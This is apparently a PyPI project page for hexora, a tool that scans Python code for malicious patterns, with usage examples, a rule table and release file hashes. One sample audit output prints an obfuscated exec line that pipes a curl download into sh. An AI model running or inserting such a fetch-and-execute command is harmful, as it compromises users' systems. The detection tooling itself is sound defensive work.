Skip to main content

Static analysis of malicous Python scripts.

Project description

hexora

PyPI - Version

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code. It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.

For example, this code will have a high confidence:

globals()["__builtins__"].eval("print(123)")

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testing Against Malicious Dataset

When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.

After cloning, point the benchmarking tool to the dataset directory:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX1030 OSFingerprint Suspicious OS fingerprinting.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX2020 ScreenshotCapture Capturing screenshots from the display.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3040 DLLInjection Possible DLL injection.
HX3050 DangerousExec Execution of potentially dangerous command inside a shell command.
HX3060 SuspiciousCall Suspicious function call.
HX4000 ObfuscatedShellExec Execution of an obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of obfuscated code.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX9000 DataExfiltration Potential data exfiltration.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.
HX8020 SuspiciousComment Suspicious comment.
HX8030 SuspiciousWrite Suspicious write to the filesystem.

Credits

For parsing, we use AST parser from ruff library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.3.0.tar.gz (6.2 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.3.0-cp314-cp314-win_amd64.whl (3.0 MB view details)

Uploaded CPython 3.14Windows x86-64

hexora-0.3.0-cp314-cp314-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.14musllinux: musl 1.2+ x86-64

hexora-0.3.0-cp314-cp314-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ x86-64

hexora-0.3.0-cp314-cp314-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ ARM64

hexora-0.3.0-cp314-cp314-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.14macOS 11.0+ ARM64

hexora-0.3.0-cp314-cp314-macosx_10_15_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.14macOS 10.15+ x86-64

hexora-0.3.0-cp313-cp313-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.3.0-cp313-cp313-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.3.0-cp313-cp313-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.3.0-cp313-cp313-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.3.0-cp313-cp313-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.3.0-cp313-cp313-macosx_10_13_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.3.0-cp312-cp312-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.3.0-cp312-cp312-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.3.0-cp312-cp312-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.3.0-cp312-cp312-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.3.0-cp312-cp312-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.3.0-cp312-cp312-macosx_10_13_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.3.0-cp311-cp311-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.3.0-cp311-cp311-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.3.0-cp311-cp311-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.3.0-cp311-cp311-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.3.0-cp311-cp311-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.3.0-cp311-cp311-macosx_10_12_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.3.0-cp310-cp310-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.3.0-cp310-cp310-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.3.0-cp310-cp310-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.3.0-cp310-cp310-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.3.0-cp310-cp310-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.3.0-cp310-cp310-macosx_10_12_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.3.0-cp39-cp39-win_amd64.whl (2.9 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.3.0-cp39-cp39-musllinux_1_2_x86_64.whl (3.3 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.3.0-cp39-cp39-manylinux_2_28_x86_64.whl (3.2 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.3.0-cp39-cp39-manylinux_2_28_aarch64.whl (3.1 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.3.0-cp39-cp39-macosx_11_0_arm64.whl (2.9 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.3.0-cp39-cp39-macosx_10_12_x86_64.whl (3.0 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.3.0.tar.gz.

File metadata

  • Download URL: hexora-0.3.0.tar.gz
  • Upload date:
  • Size: 6.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for hexora-0.3.0.tar.gz
Algorithm Hash digest
SHA256 64cb61f7150bf9b97497451cf9a4bfcd4f61d4ca10bc0c8bedc0c57c5154bd1f
MD5 1cfda45f0fad4194a829f60540b97aef
BLAKE2b-256 2b85c4788bff70060b8cadeee04febe78d1dee78838a67bfd4ffed24eed21add

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp314-cp314-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.0-cp314-cp314-win_amd64.whl
  • Upload date:
  • Size: 3.0 MB
  • Tags: CPython 3.14, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for hexora-0.3.0-cp314-cp314-win_amd64.whl
Algorithm Hash digest
SHA256 9c1e1525ce01791d13329b7d03cb4c588bbfb63ac58243b2624f3de35521d822
MD5 41200a2f3c3d404a501156ed32567b37
BLAKE2b-256 e7a42095d682cde05b8aa3531048efee69e2f9b6c3fdc1121d1544ecfac9ddfd

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp314-cp314-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp314-cp314-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 a8d8ed9f4bf3d53f3cd36ea7bd2f27c57bac8c94005ec1fa2bc9e473a58a6516
MD5 8b38d32c1cad8fc58322d6f043ee0399
BLAKE2b-256 631741971c53135fe9f15a07a2732ae028c611abdd5caea0a7b249a332be0430

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp314-cp314-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp314-cp314-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 e22ca2305f837f54d98176beb8b67ce8e02ca4893f6056d6ddb86eec3e28e8c5
MD5 cac2f4dd96d52e786c030c80a5ef9c13
BLAKE2b-256 7477b307c465c2dfba2e7730a49e4d30c3837eaa58d841f826ad55763c205ac6

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp314-cp314-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp314-cp314-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 4d57a89dcd194b7488eb662b0b0ec58c92a6aa57dd3a082063aae74a19916cc8
MD5 f62b9f1a5f1668e2d920709086f9fcc1
BLAKE2b-256 ae3f5520f671a6a2aeaaf9c76cd1b437d13502db1672f7bc3be9353aaa02bd94

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp314-cp314-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp314-cp314-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 d2248bd4c07400206d4fca5e72f8c0de3bad2498da3bb10564d864e3210abe13
MD5 d250b1dc453748f66dfe75749165d518
BLAKE2b-256 f985f877c695d01b0f3d11a89b8b248afd0d60893e7adcd7d1f42f8111c0bc26

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp314-cp314-macosx_10_15_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp314-cp314-macosx_10_15_x86_64.whl
Algorithm Hash digest
SHA256 b65ea023d441f826fb2ec70cd16dbb710532a91521834858b4fb6d0c530a9292
MD5 a470824583cabd477500f2674ad1e03f
BLAKE2b-256 4548acaa1b64e5ccae6efa3efb7af794cca0b6ac5f7b211fbd01961a35553ecc

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.0-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for hexora-0.3.0-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 fd673a3e42ddf5556219854c594e839790c5a2a9ec4c37f4d326be5a819c21b8
MD5 41257dce74e0160c93b85a69c2f2b0b9
BLAKE2b-256 be1269a99fc256898c76ccef98b4592be3c009ce9da9668fc22c1c9c34d60b2b

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 d3b3cc3aac034a6ca94c632670d55c0c86b4818a63e33801cae83dd403a709f8
MD5 dbd52b834d75ea62189e8b8148fb4895
BLAKE2b-256 341daea0146e0673c600608bdbda8e2c7ba0a7966e43024a3ba91a668875845e

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 4d1ce339d97f73c59c6b3f0f9eb85ecfcb6cdcd42d609daadb838629a78f0a3b
MD5 3ea8f5b9b6cc5d87d6ecbbaa15063662
BLAKE2b-256 61e251a2808d32aaf36d12b7c4046a0ab033a7598cd5d2728e0e90c89b8b05d8

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 095dbf5a96731414c9387f761578428f5c3d54ab2375f0fc032621d4b241d73f
MD5 ab6f7e1d46ec91b4e0d1ea9b6198c5a9
BLAKE2b-256 50fa88b90d4173dfebce901aabb7071a764992aafdaeb05ef9b2008c3738c088

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 a8031680e56ec5eeaec5133a08a5935db02cd523cf927215492d54beb2eedde6
MD5 3c2be98a71612c902dd95588dfa908d6
BLAKE2b-256 ba9524cd07418f943152f393c2342255f9756a8b46dbfdc427b381ef2875bedd

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 1a8066e768424f3f62f463c199b0aac0fd3e6bfd55901bf69c9a975f62a08381
MD5 1731e115d0b893a1d3986bf989c09ce2
BLAKE2b-256 d6073fcf6d129368d58bcb21b0c318a2568db5dcac5f4e75d0ce30de38c42f82

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.0-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for hexora-0.3.0-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 3d139eb41dc4b74f19dedc9544968ec714dc7708383294c2b88e84895e857d67
MD5 9b66be592db1db10235da0a77bf3bc15
BLAKE2b-256 401a33df296ba2b0b7aaefcae4f1ce9526988c173368e813caa22c0d18dfb51e

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 eb5c5b6c0a80e375c91d6074cdafa3d71e4a61303a2f9562fa63018754bd5b11
MD5 9eeb81bfd038d0c63a48f75eb91c66fd
BLAKE2b-256 580bcaf818ab09bd0dd6515321f05ab4c83208a929c7f95939c3075c5dd12724

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 8c119062d000de7448365b0667f324713754297ec87925808c9a885ed65a32b8
MD5 9b9e5ffd2c4b9b81125bea22ebad52c0
BLAKE2b-256 e28e7b6fe832e72af75ca4e8ce0beaf03e9f753e2d815d231f0122e072fed679

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 645bdef15f6566fd8f80d1fb94a698edceac47ae3ba7f6b1782307e1fca12b7f
MD5 3f7d8eacef6b9419b900965cf7bb30ee
BLAKE2b-256 1540dc0e170988c2d6b1852a36fa32d6c7faa71152b05455244221f3c886318a

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 be1d5bef817e616b03b2589fa789e00cafa268a84529061092a5e4ee773ccdcb
MD5 3e309254f26db202e20f024480428383
BLAKE2b-256 1d77edd51a571302c2796afa3d035fac8e1dd33ee48e2928ead9c355b77e0184

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 5c7dd90cb34635e57b435b426801db4f9fa9b92312b17772f8501b69da5a99b4
MD5 b1d15df51dd59ad41bc216f0cbef96e1
BLAKE2b-256 17ec3d42c5bf0ce5238ca265b1e8f4e7578a1eeb4367a041ed1d4fe824a9e513

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.0-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for hexora-0.3.0-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 1bd7800a9beaf812ae3530eff69a171ebfb71e9e0a2db9afb93186701916c7f3
MD5 9cb79cac597d88f17a67baa06fc6c20f
BLAKE2b-256 a4672f7bacadeac6914002d6bedb6a78c07615d5a9e2b5f16d855251f3e6bcee

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 275f700b5ca2bde9781bdf7a577062bf3b8181c0db767361a8e56b0bcefb655d
MD5 e038b83116cc0d70178f74b2b4a3bc4d
BLAKE2b-256 91dd7895b0538be423a6177fff9a8dd3c9912a42b1ba955d864e7e37856eda2f

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 86a24d414e2cc30f4210ea8d4ab0609529a7cd3a46d9f4249dd439603d89c599
MD5 24d9e58f57fdca73b2b89d7c66cd7860
BLAKE2b-256 465ec79fae1e4a239c10a0b87c7f4205d51b914a398f179034bcd261396f7f7c

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 63646036abf53be5bf7bf012fb77035d3aa42f7fd11a1dd9204af96ad7b381e5
MD5 0b6c6dcdca36d90b3dbdf56ff83883c2
BLAKE2b-256 aea1aba7d21a5ed8717ce78829758a76267a89920a5348a85dc03a420573f90c

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 4cd0195681e603d36a8622dd332d99b5a43f35785a383539b838bea2c73f0196
MD5 67f8b9681ac75abdc8e2269e9f6c1000
BLAKE2b-256 3d6a3b6c5975f3831b3c7dbac0e5ff4c810e50d42b0bfb9f1eace1c217e790f1

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 11bf953a2ebb36660b69f11b8d1a92fc71163ae864cc74a8b74d212b6c160004
MD5 ad75a4d9b68779ef2b9516513cf09610
BLAKE2b-256 f922126738728c8e6c60f9d2b1c5236f25f42d2faeb136f6d156e5e58bf7edc7

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.0-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for hexora-0.3.0-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 940076b6fff67dc8e98b8ca4f15190c7b2d1cfa5181fc268a21b281e1a915ff4
MD5 57450fc18270288237493a480be2f5eb
BLAKE2b-256 d46b6ae19947178c16921cc763ba8aa71ffc4ea492fd65537a031fc52df32eb2

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 0bfe248a1974d75d309ddd178af59eafef98adc7a42e2229bc0c74dcdaa6e6b2
MD5 413e9858d7a1286970773e11b2ba8d32
BLAKE2b-256 6301fe9bac033a81ce7f6f6021c6d03a8a09eba959fd86d32dfb540b639bf7d6

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 f8d3c294aabd4871be601749ff78b4e60820ca526f5b8d0bea472e43ddc2ea26
MD5 2d096aa612fb59f125ed8ba07f6558c3
BLAKE2b-256 24d5d6d93a03b04e972284c7535fec378deec40ccab30676224169d5006f93bf

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 fa596c31bc5b7e4544087cb99f3842e556804b4693a2d2d5f30c6b5460d96cbb
MD5 3d42a1b5c6da6af2da0b405425be0e83
BLAKE2b-256 45bc6fce472ca2bfad9039dfa4d5212ee6f37daff517d2f657648a3e2da07052

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 b8b06626c708dfedd3ec13f20187b3de439ef84037d4205fc560ab075109bb83
MD5 6f30844a8c527eed931df82bf3d3c264
BLAKE2b-256 69c9891be749d39779cf5a1777f336b66fbf10873f237558b22bbc9774b19b35

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 99630eadb1a374fa8cce49b68ff8511de964258e6df1d5d2246acea533ad25c8
MD5 082f53054d892a6d51a880cf43e618c8
BLAKE2b-256 5f02944fdd68ed10775e7cab171c2936b94cc7c671fa4150be135f36479747d1

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.3.0-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 2.9 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for hexora-0.3.0-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 17c46f5cd9e8116d76fdaca7bcd8b3ddaf66e47846089725ef30b5f19ee10b6d
MD5 cc971e4a426bd05b9328ee458f69b18f
BLAKE2b-256 d382aa125d20f493700735d4abc3c510b5aaa1bc7701d034be46b0a84a2cfdfd

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 dbb551e216f41e419affbea9a1c85befdab7e20e7fd8c3eadcd80b9759a4ee7e
MD5 4bb16d0e0fa0aafaf77ddf25d0182b50
BLAKE2b-256 79c98342b305cf4a8c6045775ee3abcd593e5a8f5af3f9efc3f3e8fd257b827f

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 72fda31e85d2e8b66d76fd5e0a512863147db59fd1bbcf3f7e3cf9abe08eee36
MD5 130942cd158d06d921aa0f29a2a8b8bb
BLAKE2b-256 dcbdc5dab4bfced439d895a35bb1c5331b4e142242f39b7d5fd9896b2f39c9e1

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 f10b2da42f205483b163b9167c8b01224b1d4c7b2d5371ec30f821649b92bf36
MD5 b908ffc1be48fd76a17cc1da45b47c65
BLAKE2b-256 1c25041037fcdeaf89e5423d537afeb8dc22163edabe62c82cf0683c826cbb5d

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 8301787971129bef096d7e479e4f5222f77d1d5a7c3c5958078efabdc8dc157a
MD5 724ba0e374be103ea27240e26ee0b80d
BLAKE2b-256 a0c109960db7a1e2ad1089122a3e0f7a042bd5ee80d504be8b7d9a99a3412893

See more details on using hashes here.

File details

Details for the file hexora-0.3.0-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.3.0-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 577e803e8453b20246ecd016e5d36c59c8c6a4bb1ee357b6666eb2dc9f0402af
MD5 3a443797663f06e5444047759ad6f549
BLAKE2b-256 731e87a7278fce2f2dc488228445512dc0c3205f9435aba445d14d908a634e46

See more details on using hashes here.

Supported by

